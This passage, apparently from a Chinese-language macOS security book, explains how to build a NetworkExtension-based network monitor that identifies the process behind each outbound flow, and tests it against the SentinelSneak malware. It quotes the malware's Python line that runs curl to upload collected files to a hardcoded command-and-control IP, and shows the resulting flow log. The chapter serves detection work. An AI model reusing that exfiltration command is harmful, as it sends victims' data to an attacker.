这些 NEFilterSocketFlow 对象还包含流量的底层信息,包括套接字族、类型和协议。表 7-1 汇总了这些变量,你也可以在苹果的 NEFilterFlow.h 文件中了解更多。
| 变量名 | 类型 | 描述 |
|---|---|---|
| socketType | int | 套接字类型,如 SOCK_STREAM |
| socketFamily | int | 套接字族,如 AF_INET |
| socketProtocol | int | 套接字协议,如 IPPROTO_TCP |
你可以从 remoteEndpoint 和套接字实例变量中提取信息,用于网络启发式检测。例如,可以制定启发式规则,对非标准端口的网络流量发出警告。
为了识别负责进程,NEFilterFlow 对象有 sourceAppIdentifier 和 sourceAppAuditToken 属性。我们关注后者,因为它可以提供进程 ID 和路径。清单 7-17 用与 DNS 监控相同的方法提取它们。
CFURLRef path = NULL;
SecCodeRef code = NULL;
audit_token_t* token = (audit_token_t*)flow.sourceAppAuditToken.bytes;
pid_t pid = audit_token_to_pid(*token);
SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef _Nullable)(@{(__bridge NSString *)kSecGuestAttributeAudit:flow.sourceAppAuditToken}), kSecCSDefaultFlags, &code);
SecCodeCopyPath(code, kSecCSDefaultFlags, &path);
// 对进程 ID 和路径进行后续操作
CFRelease(path);
CFRelease(code);
清单 7-17:从流量对象识别负责进程
我们先从 flow 中提取审计令牌,然后调用 audit_token_to_pid 获取进程 ID,接着使用审计令牌获取代码引用,最后调用 SecCodeCopyPath 获取进程路径。
运行监控器
如果将这段代码编译为完整且拥有正确权限的网络扩展项目的一部分,就能实时全局观察所有出站网络流量,并提取每条流量的远程端点和负责进程信息。是的,这意味着我们现在可以轻松检测如 Dummy 之类的基础恶意软件,但让我们用一款真实的 macOS 恶意软件样本 SentinelSneak 来测试工具。
SentinelSneak 于 2022 年底被发现,是一款针对开发者的恶意 Python 包,旨在窃取敏感数据。它使用硬编码 IP 地址作为其指挥控制服务器。从其未混淆的 Python 代码可见,curl 命令会将感染系统信息上传到 IP 为 54.254.189.27 的服务器:
command = "curl -k -F "file=@" + zipname + " "https://54.254.189.27/api/v1/file/upload" > /dev/null 2>&1"
os.system(command)
这意味着我们前面写的 DNS 监控器无法检测其未经授权的网络访问。但过滤数据提供者应能捕获并显示如下内容:
flow:
identifier = D89B5B5D-793C-4940-41BD-B091F4C00700
sourceAppIdentifier = com.apple.curl
sourceAppVersion =
sourceAppUniqueIdentifier = {length = 20, bytes = 0xbbb73e021281eee708f86d974c91182e955de441}
procPID = 87558
eprocPID = 87558
direction = outbound
inBytes = 0
outBytes = 0
signature = {length = 32, bytes = 0x4ee4a2f2 72c06264 f38d479b 6ea2dc39 ... 74aa159c 9153147b}
socketID = 7c0f491b0bd41
localEndpoint = 0.0.0.0:0
remoteEndpoint = 54.254.189.27:443
protocol = 6
family = 2
type = 1
procUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F
eprocUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F
Remote Endpoint: 54.254.189.27:443
Process ID: 87558
Process Path: /usr/bin/curl
如你所见,它成功捕获了该流量,提取了远程端点(54.254.189.27:443),并准确识别了负责进程为 curl。
识别负责进程增加了检测的难度,因为 curl 是 macOS 平台的合法二进制文件,并非恶意软件中的不可信组件。那么我们可以怎么做呢?使用第1章介绍的方法,我们可以提取恶意软件执行 curl 时的参数:
-k -F "file=<某文件>" https://54.254.189.27/api/v1/file/upload
这些参数值得警惕,因为尽管合法软件常用 curl 下载文件,但很少用来上传,尤其是上传到硬编码的 IP 地址。此外,-k 参数表示 curl 以不安全模式运行,服务器的 SSL 证书不会被验证。这同样是个危险信号,正常使用 curl 的软件通常不会启用此不安全选项。
你还可以确定该进程的父进程是一个 Python 脚本,并收集该脚本进行人工分析,很快就能发现其恶意本质。
结语
本章聚焦于利用苹果强大的 NetworkExtension 框架构建实时、基于主机的网络监控工具所需的核心概念。鉴于绝大多数 Mac 恶意软件都包含网络功能,本章介绍的技术对于任何恶意软件检测系统而言都至关重要。未经授权的网络活动是众多安全工具和启发式检测方法的关键指标,为检测针对 macOS 的已知及未知威胁提供了宝贵手段。
注释
- “Smooth Operator,” GCHQ, 2023年6月29日,链接:www.ncsc.gov.uk/static-asse…
- Patrick Wardle,“Where There Is Love, There Is ... Malware?” Objective-See,2023年2月24日,链接:objective-see.org/blog/blog_0…
- “Crowdstrike Endpoint Security Detection re 3CX Desktop App,” 3CX论坛,2023年3月29日,链接:www.3cx.com/community/t…
- 关于系统扩展详情,请参见 Will Yu,“Mac System Extensions for Threat Detection: Part 3,” Elastic,2020年2月19日,链接:www.elastic.co/blog/mac-sy…
- “Network Extension,” 苹果开发者文档,链接:developer.apple.com/documentati…
- “Installing System Extensions and Drivers,” 苹果开发者文档,链接:developer.apple.com/documentati…
- 另见 objective-see.org/products/ut…
- “activationRequestForExtension:queue:,” 苹果开发者文档,链接:developer.apple.com/documentati…
- “OSSystemExtensionRequestDelegate,” 苹果开发者文档,链接:developer.apple.com/documentati…
- “startSystemExtensionMode,” 苹果开发者文档,链接:developer.apple.com/documentati…
- “NEDNSProxyProvider,” 苹果开发者文档,链接:developer.apple.com/documentati…
- Dan Goodin,“Apple Lets Some Big Sur Network Traffic Bypass Firewalls,” Arstechnica,2020年11月17日,链接:arstechnica.com/gadgets/202…
- Filipe Espósito,“macOS Big Sur 11.2 beta 2 Removes Filter That Lets Apple Apps Bypass Third-Party Firewalls,” 9to5Mac,2021年1月13日,链接:9to5mac.com/2021/01/13/…
- Patrick Wardle,“The Mac Malware of 2022,” Objective-See,2023年1月1日,链接:objective-see.org/blog/blog_0…